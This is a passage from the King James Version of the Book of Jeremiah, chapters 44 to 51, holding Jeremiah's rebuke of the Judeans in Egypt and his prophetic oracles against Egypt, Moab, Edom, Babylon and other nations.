nor your fathers. + +44:4 Howbeit I sent unto you all my servants the prophets, rising +early and sending them, saying, Oh, do not this abominable thing that +I hate. + +44:5 But they hearkened not, nor inclined their ear to turn from their +wickedness, to burn no incense unto other gods. + +44:6 Wherefore my fury and mine anger was poured forth, and was +kindled in the cities of Judah and in the streets of Jerusalem; and +they are wasted and desolate, as at this day. + +44:7 Therefore now thus saith the LORD, the God of hosts, the God of +Israel; Wherefore commit ye this great evil against your souls, to cut +off from you man and woman, child and suckling, out of Judah, to leave +you none to remain; 44:8 In that ye provoke me unto wrath with the +works of your hands, burning incense unto other gods in the land of +Egypt, whither ye be gone to dwell, that ye might cut yourselves off, +and that ye might be a curse and a reproach among all the nations of +the earth? 44:9 Have ye forgotten the wickedness of your fathers, and +the wickedness of the kings of Judah, and the wickedness of their +wives, and your own wickedness, and the wickedness of your wives, +which they have committed in the land of Judah, and in the streets of +Jerusalem? 44:10 They are not humbled even unto this day, neither +have they feared, nor walked in my law, nor in my statutes, that I set +before you and before your fathers. + +44:11 Therefore thus saith the LORD of hosts, the God of Israel; +Behold, I will set my face against you for evil, and to cut off all +Judah. + +44:12 And I will take the remnant of Judah, that have set their faces +to go into the land of Egypt to sojourn there, and they shall all be +consumed, and fall in the land of Egypt; they shall even be consumed +by the sword and by the famine: they shall die, from the least even +unto the greatest, by the sword and by the famine: and they shall be +an execration, and an astonishment, and a curse, and a reproach. + +44:13 For I will punish them that dwell in the land of Egypt, as I +have punished Jerusalem, by the sword, by the famine, and by the +pestilence: 44:14 So that none of the remnant of Judah, which are gone +into the land of Egypt to sojourn there, shall escape or remain, that +they should return into the land of Judah, to the which they have a +desire to return to dwell there: for none shall return but such as +shall escape. + +44:15 Then all the men which knew that their wives had burned incense +unto other gods, and all the women that stood by, a great multitude, +even all the people that dwelt in the land of Egypt, in Pathros, +answered Jeremiah, saying, 44:16 As for the word that thou hast spoken +unto us in the name of the LORD, we will not hearken unto thee. + +44:17 But we will certainly do whatsoever thing goeth forth out of our +own mouth, to burn incense unto the queen of heaven, and to pour out +drink offerings unto her, as we have done, we, and our fathers, our +kings, and our princes, in the cities of Judah, and in the streets of +Jerusalem: for then had we plenty of victuals, and were well, and saw +no evil. + +44:18 But since we left off to burn incense to the queen of heaven, +and to pour out drink offerings unto her, we have wanted all things, +and have been consumed by the sword and by the famine. + +44:19 And when we burned incense to the queen of heaven, and poured +out drink offerings unto her, did we make her cakes to worship her, +and pour out drink offerings unto her, without our men? 44:20 Then +Jeremiah said unto all the people, to the men, and to the women, and +to all the people which had given him that answer, saying, 44:21 The +incense that ye burned in the cities of Judah, and in the streets of +Jerusalem, ye, and your fathers, your kings, and your princes, and the +people of the land, did not the LORD remember them, and came it not +into his mind? 44:22 So that the LORD could no longer bear, because +of the evil of your doings, and because of the abominations which ye +have committed; therefore is your land a desolation, and an +astonishment, and a curse, without an inhabitant, as at this day. + +44:23 Because ye have burned incense, and because ye have sinned +against the LORD, and have not obeyed the voice of the LORD, nor +walked in his law, nor in his statutes, nor in his testimonies; +therefore this evil is happened unto you, as at this day. + +44:24 Moreover Jeremiah said unto all the people, and to all the +women, Hear the word of the LORD, all Judah that are in the land of +Egypt: 44:25 Thus saith the LORD of hosts, the God of Israel, saying; +Ye and your wives have both spoken with your mouths, and fulfilled +with your hand, saying, We will surely perform our vows that we have +vowed, to burn incense to the queen of heaven, and to pour out drink +offerings unto her: ye will surely accomplish your vows, and surely +perform your vows. + +44:26 Therefore hear ye the word of the LORD, all Judah that dwell in +the land of Egypt; Behold, I have sworn by my great name, saith the +LORD, that my name shall no more be named in the mouth of any man of +Judah in all the land of Egypt, saying, The Lord GOD liveth. + +44:27 Behold, I will watch over them for evil, and not for good: and +all the men of Judah that are in the land of Egypt shall be consumed +by the sword and by the famine, until there be an end of them. + +44:28 Yet a small number that escape the sword shall return out of the +land of Egypt into the land of Judah, and all the remnant of Judah, +that are gone into the land of Egypt to sojourn there, shall know +whose words shall stand, mine, or their's. + +44:29 And this shall be a sign unto you, saith the LORD, that I will +punish you in this place, that ye may know that my words shall surely +stand against you for evil: 44:30 Thus saith the LORD; Behold, I will +give Pharaohhophra king of Egypt into the hand of his enemies, and +into the hand of them that seek his life; as I gave Zedekiah king of +Judah into the hand of Nebuchadrezzar king of Babylon, his enemy, and +that sought his life. + +45:1 The word that Jeremiah the prophet spake unto Baruch the son of +Neriah, when he had written these words in a book at the mouth of +Jeremiah, in the fourth year of Jehoiakim the son of Josiah king of +Judah, saying, 45:2 Thus saith the LORD, the God of Israel, unto thee, +O Baruch: 45:3 Thou didst say, Woe is me now! for the LORD hath added +grief to my sorrow; I fainted in my sighing, and I find no rest. + +45:4 Thus shalt thou say unto him, The LORD saith thus; Behold, that +which I have built will I break down, and that which I have planted I +will pluck up, even this whole land. + +45:5 And seekest thou great things for thyself? seek them not: for, +behold, I will bring evil upon all flesh, saith the LORD: but thy life +will I give unto thee for a prey in all places whither thou goest. + +46:1 The word of the LORD which came to Jeremiah the prophet against +the Gentiles; 46:2 Against Egypt, against the army of Pharaohnecho +king of Egypt, which was by the river Euphrates in Carchemish, which +Nebuchadrezzar king of Babylon smote in the fourth year of Jehoiakim +the son of Josiah king of Judah. + +46:3 Order ye the buckler and shield, and draw near to battle. + +46:4 Harness the horses; and get up, ye horsemen, and stand forth with +your helmets; furbish the spears, and put on the brigandines. + +46:5 Wherefore have I seen them dismayed and turned away back? and +their mighty ones are beaten down, and are fled apace, and look not +back: for fear was round about, saith the LORD. + +46:6 Let not the swift flee away, nor the mighty man escape; they +shall stumble, and fall toward the north by the river Euphrates. + +46:7 Who is this that cometh up as a flood, whose waters are moved as +the rivers? 46:8 Egypt riseth up like a flood, and his waters are +moved like the rivers; and he saith, I will go up, and will cover the +earth; I will destroy the city and the inhabitants thereof. + +46:9 Come up, ye horses; and rage, ye chariots; and let the mighty men +come forth; the Ethiopians and the Libyans, that handle the shield; +and the Lydians, that handle and bend the bow. + +46:10 For this is the day of the Lord GOD of hosts, a day of +vengeance, that he may avenge him of his adversaries: and the sword +shall devour, and it shall be satiate and made drunk with their blood: +for the Lord GOD of hosts hath a sacrifice in the north country by the +river Euphrates. + +46:11 Go up into Gilead, and take balm, O virgin, the daughter of +Egypt: in vain shalt thou use many medicines; for thou shalt not be +cured. + +46:12 The nations have heard of thy shame, and thy cry hath filled the +land: for the mighty man hath stumbled against the mighty, and they +are fallen both together. + +46:13 The word that the LORD spake to Jeremiah the prophet, how +Nebuchadrezzar king of Babylon should come and smite the land of +Egypt. + +46:14 Declare ye in Egypt, and publish in Migdol, and publish in Noph +and in Tahpanhes: say ye, Stand fast, and prepare thee; for the sword +shall devour round about thee. + +46:15 Why are thy valiant men swept away? they stood not, because the +LORD did drive them. + +46:16 He made many to fall, yea, one fell upon another: and they said, +Arise, and let us go again to our own people, and to the land of our +nativity, from the oppressing sword. + +46:17 They did cry there, Pharaoh king of Egypt is but a noise; he +hath passed the time appointed. + +46:18 As I live, saith the King, whose name is the LORD of hosts, +Surely as Tabor is among the mountains, and as Carmel by the sea, so +shall he come. + +46:19 O thou daughter dwelling in Egypt, furnish thyself to go into +captivity: for Noph shall be waste and desolate without an inhabitant. + +46:20 Egypt is like a very fair heifer, but destruction cometh; it +cometh out of the north. + +46:21 Also her hired men are in the midst of her like fatted bullocks; +for they also are turned back, and are fled away together: they did +not stand, because the day of their calamity was come upon them, and +the time of their visitation. + +46:22 The voice thereof shall go like a serpent; for they shall march +with an army, and come against her with axes, as hewers of wood. + +46:23 They shall cut down her forest, saith the LORD, though it cannot +be searched; because they are more than the grasshoppers, and are +innumerable. + +46:24 The daughter of Egypt shall be confounded; she shall be +delivered into the hand of the people of the north. + +46:25 The LORD of hosts, the God of Israel, saith; Behold, I will +punish the multitude of No, and Pharaoh, and Egypt, with their gods, +and their kings; even Pharaoh, and all them that trust in him: 46:26 +And I will deliver them into the hand of those that seek their lives, +and into the hand of Nebuchadrezzar king of Babylon, and into the hand +of his servants: and afterward it shall be inhabited, as in the days +of old, saith the LORD. + +46:27 But fear not thou, O my servant Jacob, and be not dismayed, O +Israel: for, behold, I will save thee from afar off, and thy seed from +the land of their captivity; and Jacob shall return, and be in rest +and at ease, and none shall make him afraid. + +46:28 Fear thou not, O Jacob my servant, saith the LORD: for I am with +thee; for I will make a full end of all the nations whither I have +driven thee: but I will not make a full end of thee, but correct thee +in measure; yet will I not leave thee wholly unpunished. + +47:1 The word of the LORD that came to Jeremiah the prophet against +the Philistines, before that Pharaoh smote Gaza. + +47:2 Thus saith the LORD; Behold, waters rise up out of the north, and +shall be an overflowing flood, and shall overflow the land, and all +that is therein; the city, and them that dwell therein: then the men +shall cry, and all the inhabitants of the land shall howl. + +47:3 At the noise of the stamping of the hoofs of his strong horses, +at the rushing of his chariots, and at the rumbling of his wheels, the +fathers shall not look back to their children for feebleness of hands; +47:4 Because of the day that cometh to spoil all the Philistines, and +to cut off from Tyrus and Zidon every helper that remaineth: for the +LORD will spoil the Philistines, the remnant of the country of +Caphtor. + +47:5 Baldness is come upon Gaza; Ashkelon is cut off with the remnant +of their valley: how long wilt thou cut thyself? 47:6 O thou sword of +the LORD, how long will it be ere thou be quiet? put up thyself into +thy scabbard, rest, and be still. + +47:7 How can it be quiet, seeing the LORD hath given it a charge +against Ashkelon, and against the sea shore? there hath he appointed +it. + +48:1 Against Moab thus saith the LORD of hosts, the God of Israel; Woe +unto Nebo! for it is spoiled: Kiriathaim is confounded and taken: +Misgab is confounded and dismayed. + +48:2 There shall be no more praise of Moab: in Heshbon they have +devised evil against it; come, and let us cut it off from being a +nation. Also thou shalt be cut down, O Madmen; the sword shall pursue +thee. + +48:3 A voice of crying shall be from Horonaim, spoiling and great +destruction. + +48:4 Moab is destroyed; her little ones have caused a cry to be heard. + +48:5 For in the going up of Luhith continual weeping shall go up; for +in the going down of Horonaim the enemies have heard a cry of +destruction. + +48:6 Flee, save your lives, and be like the heath in the wilderness. + +48:7 For because thou hast trusted in thy works and in thy treasures, +thou shalt also be taken: and Chemosh shall go forth into captivity +with his priests and his princes together. + +48:8 And the spoiler shall come upon every city, and no city shall +escape: the valley also shall perish, and the plain shall be +destroyed, as the LORD hath spoken. + +48:9 Give wings unto Moab, that it may flee and get away: for the +cities thereof shall be desolate, without any to dwell therein. + +48:10 Cursed be he that doeth the work of the LORD deceitfully, and +cursed be he that keepeth back his sword from blood. + +48:11 Moab hath been at ease from his youth, and he hath settled on +his lees, and hath not been emptied from vessel to vessel, neither +hath he gone into captivity: therefore his taste remained in him, and +his scent is not changed. + +48:12 Therefore, behold, the days come, saith the LORD, that I will +send unto him wanderers, that shall cause him to wander, and shall +empty his vessels, and break their bottles. + +48:13 And Moab shall be ashamed of Chemosh, as the house of Israel was +ashamed of Bethel their confidence. + +48:14 How say ye, We are mighty and strong men for the war? 48:15 +Moab is spoiled, and gone up out of her cities, and his chosen young +men are gone down to the slaughter, saith the King, whose name is the +LORD of hosts. + +48:16 The calamity of Moab is near to come, and his affliction hasteth +fast. + +48:17 All ye that are about him, bemoan him; and all ye that know his +name, say, How is the strong staff broken, and the beautiful rod! +48:18 Thou daughter that dost inhabit Dibon, come down from thy glory, +and sit in thirst; for the spoiler of Moab shall come upon thee, and +he shall destroy thy strong holds. + +48:19 O inhabitant of Aroer, stand by the way, and espy; ask him that +fleeth, and her that escapeth, and say, What is done? 48:20 Moab is +confounded; for it is broken down: howl and cry; tell ye it in Arnon, +that Moab is spoiled, 48:21 And judgment is come upon the plain +country; upon Holon, and upon Jahazah, and upon Mephaath, 48:22 And +upon Dibon, and upon Nebo, and upon Bethdiblathaim, 48:23 And upon +Kiriathaim, and upon Bethgamul, and upon Bethmeon, 48:24 And upon +Kerioth, and upon Bozrah, and upon all the cities of the land of Moab, +far or near. + +48:25 The horn of Moab is cut off, and his arm is broken, saith the +LORD. + +48:26 Make ye him drunken: for he magnified himself against the LORD: +Moab also shall wallow in his vomit, and he also shall be in derision. + +48:27 For was not Israel a derision unto thee? was he found among +thieves? for since thou spakest of him, thou skippedst for joy. + +48:28 O ye that dwell in Moab, leave the cities, and dwell in the +rock, and be like the dove that maketh her nest in the sides of the +hole's mouth. + +48:29 We have heard the pride of Moab, (he is exceeding proud) his +loftiness, and his arrogancy, and his pride, and the haughtiness of +his heart. + +48:30 I know his wrath, saith the LORD; but it shall not be so; his +lies shall not so effect it. + +48:31 Therefore will I howl for Moab, and I will cry out for all Moab; +mine heart shall mourn for the men of Kirheres. + +48:32 O vine of Sibmah, I will weep for thee with the weeping of +Jazer: thy plants are gone over the sea, they reach even to the sea of +Jazer: the spoiler is fallen upon thy summer fruits and upon thy +vintage. + +48:33 And joy and gladness is taken from the plentiful field, and from +the land of Moab, and I have caused wine to fail from the winepresses: +none shall tread with shouting; their shouting shall be no shouting. + +48:34 From the cry of Heshbon even unto Elealeh, and even unto Jahaz, +have they uttered their voice, from Zoar even unto Horonaim, as an +heifer of three years old: for the waters also of Nimrim shall be +desolate. + +48:35 Moreover I will cause to cease in Moab, saith the LORD, him that +offereth in the high places, and him that burneth incense to his gods. + +48:36 Therefore mine heart shall sound for Moab like pipes, and mine +heart shall sound like pipes for the men of Kirheres: because the +riches that he hath gotten are perished. + +48:37 For every head shall be bald, and every beard clipped: upon all +the hands shall be cuttings, and upon the loins sackcloth. + +48:38 There shall be lamentation generally upon all the housetops of +Moab, and in the streets thereof: for I have broken Moab like a vessel +wherein is no pleasure, saith the LORD. + +48:39 They shall howl, saying, How is it broken down! how hath Moab +turned the back with shame! so shall Moab be a derision and a +dismaying to all them about him. + +48:40 For thus saith the LORD; Behold, he shall fly as an eagle, and +shall spread his wings over Moab. + +48:41 Kerioth is taken, and the strong holds are surprised, and the +mighty men's hearts in Moab at that day shall be as the heart of a +woman in her pangs. + +48:42 And Moab shall be destroyed from being a people, because he hath +magnified himself against the LORD. + +48:43 Fear, and the pit, and the snare, shall be upon thee, O +inhabitant of Moab, saith the LORD. + +48:44 He that fleeth from the fear shall fall into the pit; and he +that getteth up out of the pit shall be taken in the snare: for I will +bring upon it, even upon Moab, the year of their visitation, saith the +LORD. + +48:45 They that fled stood under the shadow of Heshbon because of the +force: but a fire shall come forth out of Heshbon, and a flame from +the midst of Sihon, and shall devour the corner of Moab, and the crown +of the head of the tumultuous ones. + +48:46 Woe be unto thee, O Moab! the people of Chemosh perisheth: for +thy sons are taken captives, and thy daughters captives. + +48:47 Yet will I bring again the captivity of Moab in the latter days, +saith the LORD. Thus far is the judgment of Moab. + +49:1 Concerning the Ammonites, thus saith the LORD; Hath Israel no +sons? hath he no heir? why then doth their king inherit Gad, and his +people dwell in his cities? 49:2 Therefore, behold, the days come, +saith the LORD, that I will cause an alarm of war to be heard in +Rabbah of the Ammonites; and it shall be a desolate heap, and her +daughters shall be burned with fire: then shall Israel be heir unto +them that were his heirs, saith the LORD. + +49:3 Howl, O Heshbon, for Ai is spoiled: cry, ye daughters of Rabbah, +gird you with sackcloth; lament, and run to and fro by the hedges; for +their king shall go into captivity, and his priests and his princes +together. + +49:4 Wherefore gloriest thou in the valleys, thy flowing valley, O +backsliding daughter? that trusted in her treasures, saying, Who shall +come unto me? 49:5 Behold, I will bring a fear upon thee, saith the +Lord GOD of hosts, from all those that be about thee; and ye shall be +driven out every man right forth; and none shall gather up him that +wandereth. + +49:6 And afterward I will bring again the captivity of the children of +Ammon, saith the LORD. + +49:7 Concerning Edom, thus saith the LORD of hosts; Is wisdom no more +in Teman? is counsel perished from the prudent? is their wisdom +vanished? 49:8 Flee ye, turn back, dwell deep, O inhabitants of +Dedan; for I will bring the calamity of Esau upon him, the time that I +will visit him. + +49:9 If grapegatherers come to thee, would they not leave some +gleaning grapes? if thieves by night, they will destroy till they have +enough. + +49:10 But I have made Esau bare, I have uncovered his secret places, +and he shall not be able to hide himself: his seed is spoiled, and his +brethren, and his neighbours, and he is not. + +49:11 Leave thy fatherless children, I will preserve them alive; and +let thy widows trust in me. + +49:12 For thus saith the LORD; Behold, they whose judgment was not to +drink of the cup have assuredly drunken; and art thou he that shall +altogether go unpunished? thou shalt not go unpunished, but thou shalt +surely drink of it. + +49:13 For I have sworn by myself, saith the LORD, that Bozrah shall +become a desolation, a reproach, a waste, and a curse; and all the +cities thereof shall be perpetual wastes. + +49:14 I have heard a rumour from the LORD, and an ambassador is sent +unto the heathen, saying, Gather ye together, and come against her, +and rise up to the battle. + +49:15 For, lo, I will make thee small among the heathen, and despised +among men. + +49:16 Thy terribleness hath deceived thee, and the pride of thine +heart, O thou that dwellest in the clefts of the rock, that holdest +the height of the hill: though thou shouldest make thy nest as high as +the eagle, I will bring thee down from thence, saith the LORD. + +49:17 Also Edom shall be a desolation: every one that goeth by it +shall be astonished, and shall hiss at all the plagues thereof. + +49:18 As in the overthrow of Sodom and Gomorrah and the neighbour +cities thereof, saith the LORD, no man shall abide there, neither +shall a son of man dwell in it. + +49:19 Behold, he shall come up like a lion from the swelling of Jordan +against the habitation of the strong: but I will suddenly make him run +away from her: and who is a chosen man, that I may appoint over her? +for who is like me? and who will appoint me the time? and who is that +shepherd that will stand before me? 49:20 Therefore hear the counsel +of the LORD, that he hath taken against Edom; and his purposes, that +he hath purposed against the inhabitants of Teman: Surely the least of +the flock shall draw them out: surely he shall make their habitations +desolate with them. + +49:21 The earth is moved at the noise of their fall, at the cry the +noise thereof was heard in the Red sea. + +49:22 Behold, he shall come up and fly as the eagle, and spread his +wings over Bozrah: and at that day shall the heart of the mighty men +of Edom be as the heart of a woman in her pangs. + +49:23 Concerning Damascus. Hamath is confounded, and Arpad: for they +have heard evil tidings: they are fainthearted; there is sorrow on the +sea; it cannot be quiet. + +49:24 Damascus is waxed feeble, and turneth herself to flee, and fear +hath seized on her: anguish and sorrows have taken her, as a woman in +travail. + +49:25 How is the city of praise not left, the city of my joy! 49:26 +Therefore her young men shall fall in her streets, and all the men of +war shall be cut off in that day, saith the LORD of hosts. + +49:27 And I will kindle a fire in the wall of Damascus, and it shall +consume the palaces of Benhadad. + +49:28 Concerning Kedar, and concerning the kingdoms of Hazor, which +Nebuchadrezzar king of Babylon shall smite, thus saith the LORD; Arise +ye, go up to Kedar, and spoil the men of the east. + +49:29 Their tents and their flocks shall they take away: they shall +take to themselves their curtains, and all their vessels, and their +camels; and they shall cry unto them, Fear is on every side. + +49:30 Flee, get you far off, dwell deep, O ye inhabitants of Hazor, +saith the LORD; for Nebuchadrezzar king of Babylon hath taken counsel +against you, and hath conceived a purpose against you. + +49:31 Arise, get you up unto the wealthy nation, that dwelleth without +care, saith the LORD, which have neither gates nor bars, which dwell +alone. + +49:32 And their camels shall be a booty, and the multitude of their +cattle a spoil: and I will scatter into all winds them that are in the +utmost corners; and I will bring their calamity from all sides +thereof, saith the LORD. + +49:33 And Hazor shall be a dwelling for dragons, and a desolation for +ever: there shall no man abide there, nor any son of man dwell in it. + +49:34 The word of the LORD that came to Jeremiah the prophet against +Elam in the beginning of the reign of Zedekiah king of Judah, saying, +49:35 Thus saith the LORD of hosts; Behold, I will break the bow of +Elam, the chief of their might. + +49:36 And upon Elam will I bring the four winds from the four quarters +of heaven, and will scatter them toward all those winds; and there +shall be no nation whither the outcasts of Elam shall not come. + +49:37 For I will cause Elam to be dismayed before their enemies, and +before them that seek their life: and I will bring evil upon them, +even my fierce anger, saith the LORD; and I will send the sword after +them, till I have consumed them: 49:38 And I will set my throne in +Elam, and will destroy from thence the king and the princes, saith the +LORD. + +49:39 But it shall come to pass in the latter days, that I will bring +again the captivity of Elam, saith the LORD. + +50:1 The word that the LORD spake against Babylon and against the land +of the Chaldeans by Jeremiah the prophet. + +50:2 Declare ye among the nations, and publish, and set up a standard; +publish, and conceal not: say, Babylon is taken, Bel is confounded, +Merodach is broken in pieces; her idols are confounded, her images are +broken in pieces. + +50:3 For out of the north there cometh up a nation against her, which +shall make her land desolate, and none shall dwell therein: they shall +remove, they shall depart, both man and beast. + +50:4 In those days, and in that time, saith the LORD, the children of +Israel shall come, they and the children of Judah together, going and +weeping: they shall go, and seek the LORD their God. + +50:5 They shall ask the way to Zion with their faces thitherward, +saying, Come, and let us join ourselves to the LORD in a perpetual +covenant that shall not be forgotten. + +50:6 My people hath been lost sheep: their shepherds have caused them +to go astray, they have turned them away on the mountains: they have +gone from mountain to hill, they have forgotten their restingplace. + +50:7 All that found them have devoured them: and their adversaries +said, We offend not, because they have sinned against the LORD, the +habitation of justice, even the LORD, the hope of their fathers. + +50:8 Remove out of the midst of Babylon, and go forth out of the land +of the Chaldeans, and be as the he goats before the flocks. + +50:9 For, lo, I will raise and cause to come up against Babylon an +assembly of great nations from the north country: and they shall set +themselves in array against her; from thence she shall be taken: their +arrows shall be as of a mighty expert man; none shall return in vain. + +50:10 And Chaldea shall be a spoil: all that spoil her shall be +satisfied, saith the LORD. + +50:11 Because ye were glad, because ye rejoiced, O ye destroyers of +mine heritage, because ye are grown fat as the heifer at grass, and +bellow as bulls; 50:12 Your mother shall be sore confounded; she that +bare you shall be ashamed: behold, the hindermost of the nations shall +be a wilderness, a dry land, and a desert. + +50:13 Because of the wrath of the LORD it shall not be inhabited, but +it shall be wholly desolate: every one that goeth by Babylon shall be +astonished, and hiss at all her plagues. + +50:14 Put yourselves in array against Babylon round about: all ye that +bend the bow, shoot at her, spare no arrows: for she hath sinned +against the LORD. + +50:15 Shout against her round about: she hath given her hand: her +foundations are fallen, her walls are thrown down: for it is the +vengeance of the LORD: take vengeance upon her; as she hath done, do +unto her. + +50:16 Cut off the sower from Babylon, and him that handleth the sickle +in the time of harvest: for fear of the oppressing sword they shall +turn every one to his people, and they shall flee every one to his own +land. + +50:17 Israel is a scattered sheep; the lions have driven him away: +first the king of Assyria hath devoured him; and last this +Nebuchadrezzar king of Babylon hath broken his bones. + +50:18 Therefore thus saith the LORD of hosts, the God of Israel; +Behold, I will punish the king of Babylon and his land, as I have +punished the king of Assyria. + +50:19 And I will bring Israel again to his habitation, and he shall +feed on Carmel and Bashan, and his soul shall be satisfied upon mount +Ephraim and Gilead. + +50:20 In those days, and in that time, saith the LORD, the iniquity of +Israel shall be sought for, and there shall be none; and the sins of +Judah, and they shall not be found: for I will pardon them whom I +reserve. + +50:21 Go up against the land of Merathaim, even against it, and +against the inhabitants of Pekod: waste and utterly destroy after +them, saith the LORD, and do according to all that I have commanded +thee. + +50:22 A sound of battle is in the land, and of great destruction. + +50:23 How is the hammer of the whole earth cut asunder and broken! how +is Babylon become a desolation among the nations! 50:24 I have laid a +snare for thee, and thou art also taken, O Babylon, and thou wast not +aware: thou art found, and also caught, because thou hast striven +against the LORD. + +50:25 The LORD hath opened his armoury, and hath brought forth the +weapons of his indignation: for this is the work of the Lord GOD of +hosts in the land of the Chaldeans. + +50:26 Come against her from the utmost border, open her storehouses: +cast her up as heaps, and destroy her utterly: let nothing of her be +left. + +50:27 Slay all her bullocks; let them go down to the slaughter: woe +unto them! for their day is come, the time of their visitation. + +50:28 The voice of them that flee and escape out of the land of +Babylon, to declare in Zion the vengeance of the LORD our God, the +vengeance of his temple. + +50:29 Call together the archers against Babylon: all ye that bend the +bow, camp against it round about; let none thereof escape: recompense +her according to her work; according to all that she hath done, do +unto her: for she hath been proud against the LORD, against the Holy +One of Israel. + +50:30 Therefore shall her young men fall in the streets, and all her +men of war shall be cut off in that day, saith the LORD. + +50:31 Behold, I am against thee, O thou most proud, saith the Lord GOD +of hosts: for thy day is come, the time that I will visit thee. + +50:32 And the most proud shall stumble and fall, and none shall raise +him up: and I will kindle a fire in his cities, and it shall devour +all round about him. + +50:33 Thus saith the LORD of hosts; The children of Israel and the +children of Judah were oppressed together: and all that took them +captives held them fast; they refused to let them go. + +50:34 Their Redeemer is strong; the LORD of hosts is his name: he +shall throughly plead their cause, that he may give rest to the land, +and disquiet the inhabitants of Babylon. + +50:35 A sword is upon the Chaldeans, saith the LORD, and upon the +inhabitants of Babylon, and upon her princes, and upon her wise men. + +50:36 A sword is upon the liars; and they shall dote: a sword is upon +her mighty men; and they shall be dismayed. + +50:37 A sword is upon their horses, and upon their chariots, and upon +all the mingled people that are in the midst of her; and they shall +become as women: a sword is upon her treasures; and they shall be +robbed. + +50:38 A drought is upon her waters; and they shall be dried up: for it +is the land of graven images, and they are mad upon their idols. + +50:39 Therefore the wild beasts of the desert with the wild beasts of +the islands shall dwell there, and the owls shall dwell therein: and +it shall be no more inhabited for ever; neither shall it be dwelt in +from generation to generation. + +50:40 As God overthrew Sodom and Gomorrah and the neighbour cities +thereof, saith the LORD; so shall no man abide there, neither shall +any son of man dwell therein. + +50:41 Behold, a people shall come from the north, and a great nation, +and many kings shall be raised up from the coasts of the earth. + +50:42 They shall hold the bow and the lance: they are cruel, and will +not shew mercy: their voice shall roar like the sea, and they shall +ride upon horses, every one put in array, like a man to the battle, +against thee, O daughter of Babylon. + +50:43 The king of Babylon hath heard the report of them, and his hands +waxed feeble: anguish took hold of him, and pangs as of a woman in +travail. + +50:44 Behold, he shall come up like a lion from the swelling of Jordan +unto the habitation of the strong: but I will make them suddenly run +away from her: and who is a chosen man, that I may appoint over her? +for who is like me? and who will appoint me the time? and who is that +shepherd that will stand before me? 50:45 Therefore hear ye the +counsel of the LORD, that he hath taken against Babylon; and his +purposes, that he hath purposed against the land of the Chaldeans: +Surely the least of the flock shall draw them out: surely he shall +make their habitation desolate with them. + +50:46 At the noise of the taking of Babylon the earth is moved, and +the cry is heard among the nations. + +51:1 Thus saith the LORD; Behold, I will raise up against Babylon, and +against them that dwell in the midst of them that rise up against me, +a destroying wind; 51:2 And will send unto Babylon fanners, that shall +fan her, and shall empty her land: for in the day of trouble they +shall be against her round about. + +51:3 Against him that bendeth let the archer bend his bow, and against +him that lifteth himself up in his brigandine: and spare ye not her +young men; destroy ye utterly all her host. + +51:4 Thus the slain shall fall in the land of the Chaldeans, and they +that are thrust through in her streets. + +51:5 For Israel hath not been forsaken, nor Judah of his God, of the +LORD of hosts; though their land was filled with sin against the Holy +One of Israel. + +51:6 Flee out of the midst of Babylon, and deliver every man his soul: +be not cut off in her iniquity; for this is the time of the LORD's +vengeance; he will render unto her a recompence. + +51:7 Babylon hath been a golden cup in the LORD's hand, that made all +the earth drunken: the nations have drunken of her wine; therefore the +nations are mad. + +51:8 Babylon is suddenly fallen and destroyed: howl for her; take balm +for her pain, if so be she may be healed. + +51:9 We would have healed Babylon, but she is not healed: forsake her, +and let us go every one into his own country: for her judgment +reacheth unto heaven, and is lifted up even to the skies. + +51:10 The LORD hath brought forth our righteousness: come, and let us +declare in Zion the work of the LORD our God. + +51:11 Make bright the arrows; gather the shields: the LORD hath raised +up the spirit of the kings of the Medes: for his device is against +Babylon, to destroy it; because it is the vengeance of the LORD, the +vengeance of his temple. + +51:12 Set up the standard upon the walls of Babylon, make the watch +strong, set up the watchmen, prepare the ambushes: for the LORD hath +both devised and done that which he spake against the inhabitants of +Babylon. + +51:13 O thou that dwellest upon many waters, abundant in treasures, +thine end is come, and the measure of thy covetousness. + +51:14 The LORD of hosts hath sworn by himself, saying, Surely I will +fill thee with men, as with caterpillers; and they shall lift up a +shout against thee. + +51:15 He hath made the earth by his power, he hath established the +world by his wisdom, and hath stretched out the heaven by his +understanding. + +51:16 When he uttereth his voice, there is a multitude of waters in +the heavens; and he causeth the vapours to ascend from the ends of the +earth: he maketh lightnings with rain, and bringeth forth the wind out +of his treasures. + +51:17 Every man is brutish by his knowledge; every founder is +confounded by the graven image: for his molten image is falsehood, and +there is no breath in them. + +51:18 They are vanity, the work of errors: in the time of their +visitation they shall perish. + +51:19 The portion of Jacob is not like them; for he is the former of +all things: and Israel is the rod of his inheritance: the LORD of +hosts is his name. + +51:20 Thou art my battle axe and weapons of war: for with thee will I +break in pieces the nations, and with thee will I destroy kingdoms; +51:21 And with thee will I break in pieces the horse and his rider; +and with thee will I break in pieces the chariot and his rider; 51:22 +With thee also will I break in pieces man and woman; and with thee +will I break in pieces old and young; and with thee will I break in +pieces the young man and the maid; 51:23 I will also break in pieces +with thee the shepherd and his flock; and with thee will I break in +pieces the husbandman and his yoke of oxen; and with thee will I break +in pieces captains and rulers. + +51:24 And I will render unto Babylon and to all the inhabitants of +Chaldea all their evil that they have done in Zion in your sight, +saith the LORD. + +51:25 Behold, I am against thee, O destroying mountain, saith the +LORD, which destroyest all the earth: and I will stretch out mine hand +upon thee, and roll thee down from the rocks, and will make thee a +burnt mountain. + +51:26 And they shall not take of thee a stone for a corner, nor a +stone for foundations; but thou shalt be desolate for ever, saith the +LORD. + +51:27 Set ye up a standard in the land, blow the trumpet among the +nations, prepare the nations against her, call together against her +the kingdoms of Ararat, Minni, and Ashchenaz; appoint a captain +against her; cause the horses to come up as the rough caterpillers. + +51:28 Prepare against her the nations with the kings of the Medes, the +captains thereof, and all the rulers thereof, and all the land of his +dominion. + +51:29 And the land shall tremble and sorrow: for every purpose of the +LORD shall be performed against Babylon, to make the land of Babylon a +desolation without an inhabitant. + +51:30 The mighty men of Babylon have forborn to fight, they have +remained in their holds: their might hath failed; they became as +women: they have burned her dwellingplaces; her bars are broken. + +51:31 One post shall run to meet another, and one messenger to meet +another, to shew the king of Babylon that his city is taken at one +end, 51:32 And that the passages are stopped, and the reeds they have +burned with fire, and the men of war are affrighted. + +51:33 For thus saith the LORD of hosts, the God of Israel; The +daughter of Babylon is like a threshingfloor, it is time to thresh +her: yet a little while, and the time of her harvest shall come. + +51:34 Nebuchadrezzar the king of Babylon hath devoured me, he hath +crushed me, he hath made me an empty vessel, he hath swallowed me up +like a dragon, he hath filled his belly with my delicates, he hath +cast me out. + +51:35 The violence done to me and to my flesh be upon Babylon, shall +the inhabitant of Zion say; and my blood upon the inhabitants of +Chaldea, shall Jerusalem say. + +51:36 Therefore thus saith the LORD; Behold, I will plead thy cause, +and take vengeance for thee; 